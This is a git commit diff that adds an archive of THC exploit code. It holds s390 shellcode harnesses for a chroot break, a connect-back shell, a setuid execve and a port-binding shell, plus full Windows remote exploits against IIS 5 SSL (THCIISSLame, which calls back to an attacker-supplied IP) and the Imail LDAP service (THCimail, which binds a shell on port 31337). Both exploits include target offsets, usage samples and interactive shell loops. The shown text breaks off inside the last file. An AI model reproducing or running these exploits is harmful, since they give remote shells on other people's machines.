From: van Hauser Date: Mon, 4 Jun 2018 06:00:21 +0000 (+0200) Subject: initial push of all stuff :) X-Git-Url: https://git.librecmc.org/?p=oweals%2Fthc-archive.git;a=commitdiff_plain;h=dfbf6f563fd603e051f44a00e375b592a002b736 initial push of all stuff :) --- diff --git a/Exploits/390chroot.c b/Exploits/390chroot.c new file mode 100644 index 0000000..5e08bfa --- /dev/null +++ b/Exploits/390chroot.c @@ -0,0 +1,65 @@ +/*----------------------------------------------------------------------*/ +/* s390 shellcode 0x0a / 0x0 free */ +/* setuid / setgid / chroot break */ +/* code jcyberpunk@thehackerschoice.com */ +/*----------------------------------------------------------------------*/ +char shellcode[] = +"\x0d\x10" /* basr %r1,0 */ +"\x41\x90\x10\x98" /* la %r9,152(%r1) */ +"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ +"\xa7\x68\x04\x56" /* lhi %r6,1110 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x98" /* stc %r6,152(%r1) */ +"\x17\x22" /* xr %r2,%r2 */ +"\x42\x20\x10\x9f" /* stc %r2,159(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x7a" /* lhi %r6,1146 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x99" /* stc %r6,153(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x41\x20\x10\x9c" /* la %r2,156(%r1) */ +"\x17\x33" /* xr %r3,%r3 */ +"\xa7\x68\x04\x73" /* lhi %r6,1139 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x99" /* stc %r6,153(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x41\x20\x10\x9c" /* la %r2,156(%r1) */ +"\xa7\x68\x04\x89" /* lhi %r6,1161 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x99" /* stc %r6,153(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\xb8\x05\x39" /* lhi %r11,1337 */ +"\x1a\xba" /* ar %r11,%r10 */ +"\xa7\x68\x04\x58" /* lhi %r6,1112 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x99" /* stc %r6,153(%r1) */ +"\x41\x20\x10\x9d" /* la %r2,157(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x46\xb0\x10\x58" /* bct %r11,88(%r1) */ +"\x41\x20\x10\x9e" /* la %r2,158(%r1) */ +"\xa7\x68\x04\x89" /* lhi %r6,1161 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x99" /* stc %r6,153(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x57" /* lhi %r6,1111 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x99" /* stc %r6,153(%r1) */ +"\x41\x20\x10\xa0" /* la %r2,160(%r1) */ +"\x50\x20\x10\xa8" /* st %r2,168(%r1) */ +"\x41\x30\x10\xa8" /* la %r3,168(%r1) */ +"\x17\x44" /* xr %r4,%r4 */ +"\x42\x40\x10\xa7" /* stc %r4,167(%r1) */ +"\x50\x40\x10\xac" /* st %r4,172(%r1) */ +"\x41\x40\x10\xac" /* la %r4,172(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x0b\x17" /* svc 23 <--- after modification */ +"\x07\xfe" /* br %r14 */ +"\x41\x2e\x2e\x5c" /* A.. <---- used for mkdir,chroot,chdir */ +"\x2f\x62\x69\x6e" /* /bin */ +"\x2f\x73\x68\x5c"; /* /sh\\ */ + +main() +{ + void (*z)()=(void*)shellcode; + z(); +} diff --git a/Exploits/390connectback.c b/Exploits/390connectback.c new file mode 100644 index 0000000..2037049 --- /dev/null +++ b/Exploits/390connectback.c @@ -0,0 +1,75 @@ +/*----------------------------------------------------------------------*/ +/* s390 shellcode 0x0a / 0x0 free */ +/* connectback shell, use netcat listener from caller : nc -l -p 31337 */ +/* ATTENTION ! altough the code is 0x0a and 0x0 free it may be the case */ +/* that u wanna connect an ip like : 10.65.120.22 ( in our example ! ) */ +/* our 192.168.0.1 ! in these cases u have 0xa and 0x0 in your address */ +/* and u should conside to add some selfmodifing code where u patch the */ +/* ip address values on the fly, like i did with the svc calls */ +/* code jcyberpunk@thehackerschoice.com */ +/*----------------------------------------------------------------------*/ +char shellcode[] = +"\x0d\x10" /* basr %r1,%r0 */ +"\x41\x90\x10\xa8" /* la %r9,168(%r1) */ +"\xa7\x68\x04\x56" /* lhi %r6,1110 */ +"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\xa8" /* stc %r6,168(%r1) */ +"\xa7\x28\x04\x4e" /* lhi %r2,1102 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x40\x20\xf0\x78" /* sth %r2,120(%r15) */ +"\xa7\x38\x7a\x69" /* lhi %r3,31337 */ +"\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */ +"\x58\x40\x10\xac" /* l %r4,172(%r1) */ +"\x50\x40\xf0\x7c" /* st %r4,124(%r15) */ +"\x17\x44" /* xr %r4,%r4 */ +"\xa7\x38\x04\x4d" /* lhi %r3,1101 */ +"\x1a\x3a" /* ar %r3,%r10 */ +"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ +"\xa7\x28\x04\x4d" /* lhi %r2,1101 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x41\x30\xf0\x80" /* la %r3,128(%r15) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x18\x72" /* lr %r7,%r2 */ +"\x41\x30\xf0\x78" /* la %r3,120(%r15) */ +"\xa7\x88\x04\x5c" /* lhi %r8,1116 */ +"\x1a\x8a" /* ar %r8,%r10 */ +"\x18\x48" /* lr %r4,%r8 */ +"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ +"\xa7\x28\x04\x4f" /* lhi %r2,1103 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x41\x30\xf0\x80" /* la %r3,128(%r15) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x18\x27" /* lr %r2,%r7 */ +"\xa7\x68\x04\x8b" /* lhi %r6,1163 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\xa9" /* stc %r6,169(%r1) */ +"\xa7\x38\x04\x4e" /* lhi %r3,1102 */ +"\x1a\x3a" /* ar %r3,%r10 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x3a\xff\xff" /* ahi %r3,-1 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x3a\xff\xff" /* ahi %r3,-1 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x57" /* lhi %r6,1111 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\xa9" /* stc %r6,169(%r1) */ +"\x41\x20\x10\xb0" /* la %r2,176(%r1) */ +"\x50\x20\x10\xb8" /* st %r2,184(%r1) */ +"\x41\x30\x10\xb8" /* la %r3,184(%r1) */ +"\x17\x44" /* xr %r4,%r4 */ +"\x42\x40\x10\xb7" /* stc %r4,183(%r1) */ +"\x50\x40\x10\xbc" /* st %r4,188(%r1) */ +"\x41\x40\x10\xbc" /* la %r4,188(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x0b\x66" /* svc 102 <--- after modification */ +"\x07\xfe" /* br %r14 */ +"\x0a\x41\x78\x16" /* ip-address to connect back */ +"\x2f\x62\x69\x6e" /* /bin */ +"\x2f\x73\x68\x5c"; /* /sh\\ */ + +main() +{ + void (*z)()=(void*)shellcode; + z(); +} diff --git a/Exploits/390execve.c b/Exploits/390execve.c new file mode 100644 index 0000000..61e931a --- /dev/null +++ b/Exploits/390execve.c @@ -0,0 +1,39 @@ +/* setuid/setgid 0 execve s390 shellcode */ +/* code by jcyberpunk@thehackerschoice.com */ + +char shellcode[]= +"\x0c\x10" /* bassm %r1,%r0 */ +"\x41\x90\x10\x48" /* la %r9,72(%r1) */ +"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ +"\xa7\x68\x04\x56" /* lhi %r6,1110 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x48" /* stc %r6,72(%r1) */ +"\x17\x22" /* xr %r2,%r2 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x7a" /* lhi %r6,1146 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x49" /* stc %r6,73(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x57" /* lhi %r6,1111 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\x49" /* stc %r6,73(%r1) */ +"\x41\x20\x10\x4c" /* la %r2,76(%r1) */ +"\x50\x20\x10\x54" /* st %r2,84(%r1) */ +"\x41\x30\x10\x54" /* la %r3,84(%r1) */ +"\x17\x44" /* xr %r4,%r4 */ +"\x42\x40\x10\x53" /* stc %r4,83(%r1) */ +"\x50\x40\x10\x58" /* st %r4,88(%r1) */ +"\x41\x40\x10\x58" /* la %r4,88(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x0b\x17" /* svc n after self-modification */ +"\x07\xfe" /* br %r14 */ +"\x2f\x62" /* /b */ +"\x69\x6e\x2f\x73" /* in/s */ +"\x68\x5c"; /* h\ */ + +main() +{ + void (*z)()=(void*)shellcode; + z(); +} + diff --git a/Exploits/390portbind.c b/Exploits/390portbind.c new file mode 100644 index 0000000..308343a --- /dev/null +++ b/Exploits/390portbind.c @@ -0,0 +1,82 @@ +/*----------------------------------------------------------------------*/ +/* s390 portbinding shellcode - svc opcode 0x0a free */ +/* code by jcyberpunk@thehackerschoice.com */ +/*----------------------------------------------------------------------*/ +char shellcode[]= +"\x0d\x10" /* basr %r1,%r0 */ +"\x41\x90\x10\xd4" /* la %r9,212(%r1) */ +"\xa7\x68\x04\x56" /* lhi %r6,1110 */ +"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\xd4" /* stc %r6,212(%r1) */ +"\xa7\x28\x04\x4e" /* lhi %r2,1102 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x40\x20\xf0\x78" /* sth %r2,120(%r15) */ +"\xa7\x38\x7a\x69" /* lhi %r3,31337 */ +"\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */ +"\x17\x44" /* xr %r4,%r4 */ +"\x50\x40\xf0\x7c" /* st %r4,124(%r15) */ +"\xa7\x38\x04\x4d" /* lhi %r3,1101 */ +"\x1a\x3a" /* ar %r3,%r10 */ +"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ +"\xa7\x28\x04\x4d" /* lhi %r2,1101 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x41\x30\xf0\x80" /* la %r3,128(%r15) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x18\x72" /* lr %r7,%r2 */ +"\x41\x30\xf0\x78" /* la %r3,120(%r15) */ +"\xa7\x88\x04\x5c" /* lhi %r8,1116 */ +"\x1a\x8a" /* ar %r8,%r10 */ +"\x18\x48" /* lr %r4,%r8 */ +"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ +"\xa7\x28\x04\x4e" /* lhi %r2,1102 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x41\x30\xf0\x80" /* la %r3,128(%r15) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x18\x27" /* lr %r2,%r7 */ +"\xa7\x38\x04\x4d" /* lhi %r3,1101 */ +"\x1a\x3a" /* ar %r3,%r10 */ +"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ +"\xa7\x28\x04\x50" /* lhi %r2,1104 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x41\x30\xf0\x80" /* la %r3,128(%r15) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x18\x27" /* lr %r2,%r7 */ +"\x41\x30\xf0\x78" /* la %r3,120(%r15) */ +"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ +"\x50\x80\xf0\x88" /* st %r8,136(%r15) */ +"\xa7\x28\x04\x51" /* lhi %r2,1105 */ +"\x1a\x2a" /* ar %r2,%r10 */ +"\x41\x30\xf0\x80" /* la %r3,128(%r15) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x8b" /* lhi %r6,1163 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ +"\xa7\x38\x04\x4e" /* lhi %r3,1102 */ +"\x1a\x3a" /* ar %r3,%r10 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x3a\xff\xff" /* ahi %r3,-1 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x3a\xff\xff" /* ahi %r3,-1 */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\xa7\x68\x04\x57" /* lhi %r6,1111 */ +"\x1a\x6a" /* ar %r6,%r10 */ +"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ +"\x41\x20\x10\xd8" /* la %r2,216(%r1) */ +"\x50\x20\x10\xe0" /* st %r2,224(%r1) */ +"\x41\x30\x10\xe0" /* la %r3,224(%r1) */ +"\x17\x44" /* xr %r4,%r4 */ +"\x42\x40\x10\xdf" /* stc %r4,223(%r1) */ +"\x50\x40\x10\xe4" /* st %r4,228(%r1) */ +"\x41\x40\x10\xe4" /* la %r4,228(%r1) */ +"\x0d\xe9" /* basr %r14,%r9 */ +"\x0b\x66" /* svc 102 <--- after modification */ +"\x07\xfe" /* br %r14 */ +"\x2f\x62\x69\x6e" /* /bin */ +"\x2f\x73\x68\x5c"; /* /sh\ */ + +main() +{ + void (*z)()=(void*)shellcode; + z(); +} diff --git a/Exploits/David_Schulhoff_GCIH.pdf b/Exploits/David_Schulhoff_GCIH.pdf new file mode 100644 index 0000000..2c834d6 Binary files /dev/null and b/Exploits/David_Schulhoff_GCIH.pdf differ diff --git a/Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf b/Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf new file mode 100644 index 0000000..6e23e9b Binary files /dev/null and b/Exploits/REALSERVER_EXPLOIT_ANALYSIS.pdf differ diff --git a/Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF b/Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF new file mode 100644 index 0000000..2c834d6 Binary files /dev/null and b/Exploits/SSL_PCT_EXPLOITATION_ANALYSIS.PDF differ diff --git a/Exploits/THCIISSLame.c b/Exploits/THCIISSLame.c new file mode 100644 index 0000000..650ce81 --- /dev/null +++ b/Exploits/THCIISSLame.c @@ -0,0 +1,253 @@ +/*****************************************************************************/ +/* THCIISSLame 0.3 - IIS 5 SSL remote root exploit */ +/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ +/* THC PUBLIC SOURCE MATERIALS */ +/* */ +/* Bug was found by Internet Security Systems */ +/* Reversing credits of the bug go to Halvar Flake */ +/* */ +/* compile with MS Visual C++ : cl THCIISSLame.c */ +/* */ +/* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports */ +/* v0.2 - This little update uses a connectback shell ! */ +/* v0.1 - First release with portbinding shell on 31337 */ +/* */ +/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ +/* scut, stealth, FtR and Random */ +/*****************************************************************************/ + +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +#define jumper "\xeb\x0f" +#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21" + +char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00"; + +char shellcode[] = +"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8" +"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f" +"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d" +"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c" +"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01" +"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b" +"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe" +"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44" +"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50" +"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f" +"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08" +"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02" +"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35" +"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93" +"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46" +"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff" +"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d" +"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64" +"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01" +"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53" +"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff" +"\x55\xe4"; + +void usage(); +void shell(int sock); + +int main(int argc, char *argv[]) +{ + unsigned int i,sock,sock2,sock3,addr,rc,len=16; + unsigned char *badbuf,*p; + unsigned long offset = 0x6741a1cd; + unsigned long XOR = 0xffffffff; + unsigned long XORIP = 0x93939393; + unsigned short XORPORT = 0x9393; + + unsigned short cbport; + unsigned long cbip; + + struct sockaddr_in mytcp; + struct hostent * hp; + WSADATA wsaData; + + printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n"); + printf("tested on Windows 2000 Server german/english SP4\n"); + printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n"); + + if(argc<4 || argc>4) + usage(); + + badbuf = malloc(352); + memset(badbuf,0,352); + + printf("\n[*] building buffer\n"); + + p = badbuf; + + memcpy(p,sslshit,sizeof(sslshit)); + + p+=sizeof(sslshit)-1; + + strcat(p,jumper); + + strcat(p,greetings_to_microsoft); + + offset^=XOR; + strncat(p,(unsigned char *)&offset,4); + + cbport = htons((unsigned short)atoi(argv[3])); + cbip = inet_addr(argv[2]); + cbport ^= XORPORT; + cbip ^= XORIP; + memcpy(&shellcode[2],&cbport,2); + memcpy(&shellcode[4],&cbip,4); + + strcat(p,shellcode); + + if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) + { + printf("WSAStartup failed !\n"); + exit(-1); + } + + hp = gethostbyname(argv[1]); + + if (!hp){ + addr = inet_addr(argv[1]); + } + if ((!hp) && (addr == INADDR_NONE) ) + { + printf("Unable to resolve %s\n",argv[1]); + exit(-1); + } + + sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + if (!sock) + { + printf("socket() error...\n"); + exit(-1); + } + + if (hp != NULL) + memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length); + else + mytcp.sin_addr.s_addr = addr; + + if (hp) + mytcp.sin_family = hp->h_addrtype; + else + mytcp.sin_family = AF_INET; + + mytcp.sin_port=htons(443); + + printf("[*] connecting the target\n"); + + rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); + if(rc==0) + { + send(sock,badbuf,351,0); + printf("[*] exploit send\n"); + + mytcp.sin_addr.s_addr = 0; + mytcp.sin_port=htons((unsigned short)atoi(argv[3])); + + sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + + rc=bind(sock2,(struct sockaddr *)&mytcp,16); + if(rc!=0) + { + printf("bind error() %d\n",WSAGetLastError()); + exit(-1); + } + + rc=listen(sock2,1); + if(rc!=0) + { + printf("listen error()\n"); + exit(-1); + } + + printf("[*] waiting for shell\n"); + sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); + if(sock3) + { + printf("[*] Exploit successful ! Have fun !\n"); + printf("[*] --------------------------------------------------------------------\n\n"); + shell(sock3); + } + } + else + { + printf("\nCan't connect to ssl port 443!\n"); + exit(-1); + } + + shutdown(sock,1); + closesocket(sock); + shutdown(sock,2); + closesocket(sock2); + shutdown(sock,3); + closesocket(sock3); + + free(badbuf); + + exit(0); +} + +void usage() +{ + unsigned int a; + printf("\nUsage: \n"); + printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n"); + exit(0); +} + +void shell(int sock) +{ + int l; + char buf[1024]; + struct timeval time; + unsigned long ul[2]; + + time.tv_sec = 1; + time.tv_usec = 0; + + while (1) + { + ul[0] = 1; + ul[1] = sock; + + l = select (0, (fd_set *)&ul, NULL, NULL, &time); + if(l == 1) + { + l = recv (sock, buf, sizeof (buf), 0); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + l = write (1, buf, l); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + } + else + { + l = read (0, buf, sizeof (buf)); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + l = send(sock, buf, l, 0); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + } + } +} diff --git a/Exploits/THCimail.c b/Exploits/THCimail.c new file mode 100644 index 0000000..af4bcc7 --- /dev/null +++ b/Exploits/THCimail.c @@ -0,0 +1,266 @@ +/*****************************************************************************/ +/* THCimail 0.1 - Wind0wZ remote root exploit */ +/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ +/* THC PUBLIC SOURCE MATERIALS */ +/* */ +/* Bug was found by idefense or some idefense slaves ;) */ +/* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/ +/* */ +/* compile with MS Visual C++ : cl THCimail.c */ +/* */ +/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ +/* scut, stealth, FtR and Random */ +/*****************************************************************************/ + +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +char *WIN2KEN = "\xc4\x2a\x02\x75"; +char *WIN2KPG = "\xc4\x2a\xf9\x74"; +char *WINXPSP1G = "\xfe\x63\xa1\x71"; + +#define jumper "\xeb\x06\x4a\x43" + +char ldapshit[] = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"; + +char shellcode[] = +"\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02" +"\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d" +"\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8" +"\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e" +"\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb" +"\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3" +"\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04" +"\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce" +"\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f" +"\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e" +"\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38" +"\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57" +"\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2" +"\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8" +"\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41" +"\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9" +"\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43" +"\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda" +"\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea" +"\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8" +"\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07" +"\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70" +"\xda\x63\xe5\x70\x70\xda\x6f"; + + +void usage(); +void shell(int sock); + +int main(int argc, char *argv[]) +{ + unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER; + unsigned char *finalbuffer,*crapbuf1,*crapbuf2; + unsigned int IMAIL6_7=60; + unsigned int IMAIL_8=68; + + struct sockaddr_in mytcp; + struct hostent * hp; + WSADATA wsaData; + + printf("\nTHCimail v0.1 - Imail LDAP exploit\n"); + printf("tested on Imail 6-8\n"); + printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n"); + + if(argc<4 || argc>4) + usage(); + + ver = (unsigned short)atoi(argv[3]); + switch(ver) + { + case 0: + IMAILVER = IMAIL6_7; + break; + case 1: + IMAILVER = IMAIL_8; + break; + default: + printf("\nYou entered an illegal version !\n\n"); + usage(); + exit(-1); + } + + crapbuf1 = malloc(IMAILVER); + memset(crapbuf1,'X',IMAILVER); + + printf("imailver = %d\n",IMAILVER); + + crapbuf2 = malloc(2220); + memset(crapbuf2,'X',2220); + + finalbuffer = malloc(2650); + memset(finalbuffer,0,2650); + + printf("\n[*] building buffer\n"); + + strcat(finalbuffer,ldapshit); + + strcat(finalbuffer,crapbuf1); + + strcat(finalbuffer,jumper); + + os = (unsigned short)atoi(argv[2]); + switch(os) + { + case 0: + strcat(finalbuffer,WIN2KPG); + break; + case 1: + strcat(finalbuffer,WIN2KPG); + break; + case 2: + strcat(finalbuffer,WINXPSP1G); + break; + default: + printf("\nYou entered an illegal OS !\n\n"); + usage(); + exit(-1); + } + + strcat(finalbuffer,shellcode); + strcat(finalbuffer,crapbuf2); + + if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) + { + printf("WSAStartup failed !\n"); + exit(-1); + } + + hp = gethostbyname(argv[1]); + + if (!hp){ + addr = inet_addr(argv[1]); + } + if ((!hp) && (addr == INADDR_NONE) ) + { + printf("Unable to resolve %s\n",argv[1]); + exit(-1); + } + + sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + if (!sock) + { + printf("socket() error...\n"); + exit(-1); + } + + if (hp != NULL) + memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length); + else + mytcp.sin_addr.s_addr = addr; + + if (hp) + mytcp.sin_family = hp->h_addrtype; + else + mytcp.sin_family = AF_INET; + + mytcp.sin_port=htons(389); + + printf("[*] connecting the target\n"); + + rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); + if(rc==0) + { + send(sock,finalbuffer,2650,0); + printf("[*] Exploit send successfully ! Sleeping a while ....\n"); + Sleep(1000); + } + else + printf("\nCan't connect to ldap port!\n"); + + if(rc==0) + { + printf("[*] Trying to get a shell\n\n"); + sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + mytcp.sin_port = htons(31337); + rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp)); + if(rc!=0) + { + printf("can't connect to port 31337 ;( maybe firewalled ...\n"); + exit(-1); + } + shell(sock2); + } + + shutdown(sock,1); + closesocket(sock); + + free(crapbuf1); + free(crapbuf2); + free(finalbuffer); + + exit(0); +} + +void usage() +{ + unsigned int a; + printf("\nUsage: \n"); + printf("Sample: THCimail 194.44.55.56 0 1\n\n"); + printf("OS:\n"); + printf("0 - Windows 2000 Server english all service packs\n"); + printf("1 - Windows 2000 Professional german\n"); + printf("2 - Windows XP SP1 german\n\n"); + printf("Imail Version:\n"); + printf("0 - Imail 6+7\n"); + printf("1 - Imail 8\n"); + exit(0); +} + +void shell(int sock) +{ + int l; + char buf[1024]; + struct timeval time; + unsigned long ul[2]; + + time.tv_sec = 1; + time.tv_usec = 0; + + while (1) + { + ul[0] = 1; + ul[1] = sock; + + l = select (0, (fd_set *)&ul, NULL, NULL, &time); + if(l == 1) + { + l = recv (sock, buf, sizeof (buf), 0); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + l = write (1, buf, l); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + } + else + { + l = read (0, buf, sizeof 